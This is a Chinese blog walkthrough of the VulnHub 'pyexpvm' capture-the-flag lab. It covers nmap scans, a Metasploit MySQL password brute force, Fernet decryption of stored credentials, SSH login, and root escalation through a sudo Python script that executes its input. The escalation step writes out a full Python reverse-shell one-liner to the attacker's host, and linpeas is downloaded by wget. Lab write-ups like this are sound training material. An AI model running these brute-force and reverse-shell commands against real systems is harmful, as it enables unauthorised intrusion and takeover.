实战打靶集锦-30-pyexpvm

本文详细描述了渗透测试过程中对目标主机的发现、端口扫描、服务识别、提权尝试,包括使用Fernet加密算法解密凭证,以及最终获取flag的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

靶机地址:https://download.vulnhub.com/pyexp/pyexpvm.zip


1. 主机发现

目前只知道目标靶机在232.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.232.0/24

在这里插入图片描述
锁定目标靶机地址为232.164。

2. 端口扫描

通过下面的命令扫描一下目标靶机开放的端口。

$ sudo nmap -p 1-1000 192.168.232.164
$ sudo nmap -p 1001-10000 192.168.232.164
$ sudo nmap -p 10001-65535 192.168.232.164

在这里插入图片描述
开放了两个端口,枚举一下端口上运行的服务。

3. 服务枚举

通过下面的命令扫描一下目标靶机开放端口上运行的服务。

$ sudo nmap -A -p1337,3306 -sV -sT 192.168.232.164

在这里插入图片描述
1337上竟然运行的是openssh,有点出乎我的预料。

4. 服务探查

4.1 探查1337端口

直接用nc访问一下看看。
在这里插入图片描述
没有太多有用的信息。

4.2 探查3306端口

对于3306端口,完全不知道怎么下手,直接用网上的命令试试看。

$ nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 192.168.232.164

在这里插入图片描述
列出来了一堆用户,其它也没啥。根据版本信息搜索了一下searchsploit,也没有发现有价值的漏洞可以利用,使用metasploit试试看。

msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds 
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds

在这里插入图片描述
前两个都没有发现有价值的内容,后面的都需要密码,直接用metasploit进行一下爆破。
密码文件就用前面枚举出来的用户,如下图。
在这里插入图片描述
密码文件使用rockyou。

msf> use auxiliary/scanner/mysql/mysql_login
msf> set rhosts 192.168.232.164
msf> set user_file /home/kali/hack/000OSCP/pyexpvm/mysql_usr.txt
msf> set pass_file /home/kali/hack/rockyou.txt
msf> set threads 3
msf> exploit

结果分分钟爆出了root用户的密码是prettywoman,如下图所示。
在这里插入图片描述
直接登录一下看看。

$ mysql -h 192.168.232.164 -u root -p

在这里插入图片描述
成功进入,翻找一下看看。在data数据库中有个fernet表,里面有一行数据,像是账号凭据,不过暂时还不知道怎么使用,如下图。
在这里插入图片描述
其它并没有太明显的发现,解密一下上面的内容。

$ hashid gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=

在这里插入图片描述
两个字段都解密不了。
在这里插入图片描述
也不是base64/32的。实在没招,bing搜索一下fernet、cred、keyy这三个词语看看。
在这里插入图片描述
太出乎我的意料了,fernet貌似是一种加解密的算法,我孤陋寡闻了。
在这里插入图片描述
这是git上找到的针对fernet算法的描述,既然源码都找到了,应该就好搞了。并且在网上还找到了fernet的基本用法(参照Allocator大神的帖子:https://blog.youkuaiyun.com/Allocator/article/details/128928862),如下图。
在这里插入图片描述
在命令行里面试试看。

$ pip install cryptography
>>> from cryptography.fernet import Fernet
>>> f = Fernet("UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0=")
>>> f.decrypt("gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=").decode()

在这里插入图片描述
很顺畅的就解码出来了,从字面来看冒号两端应该分别是用户名和密码(用户名lucy,密码wJ9`”Lemdv9[FEw-),这密码也太变态了。但是mysql里面搜索过了,没有其他用户,这个应该就是通过1337端口ssh到靶机的账号了,试试看。

$ ssh lucy@192.168.232.164 -p 1337

在这里插入图片描述
顺利进入靶机。

5. 提权

直接执行一下linpeas看看。

lucy@pyexp:~$ wget http://192.168.232.129:8000/linpeas.sh
lucy@pyexp:~$ chmod u+x linpeas.sh
lucy@pyexp:~$ sh linpeas.sh

在这里插入图片描述
这个应该是可以提权的。先看看这个/opt/exp.py里面有些啥。
在这里插入图片描述
貌似是输入的东西会直接执行?试试看吧
在这里插入图片描述
看来我想简单了,我输入的内容并没有被执行啊。看看能不能修改这个文件。
在这里插入图片描述
额,不行。不过这里应该是可以输入东西的,既然不能输入shell,那就输入python代码试试看。
在这里插入图片描述
日了狗了,直接可以执行输入的python代码啊。那岂不是可以直接通过python创建反弹shell,反弹一个root的shell?更加简单直接的可以直接执行os.system(“/bin/sh”)来获得提权?两种方法都试试看。

lucy@pyexp:~$ sudo /usr/bin/python2 /opt/exp.py
how are you?import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.232.129",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

在这里插入图片描述

lucy@pyexp:~$ sudo /usr/bin/python2 /opt/exp.py
how are you?import os; os.system("/bin/sh")

在这里插入图片描述
验证一下。
在这里插入图片描述
确实提权成功。

6. 获取flag

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值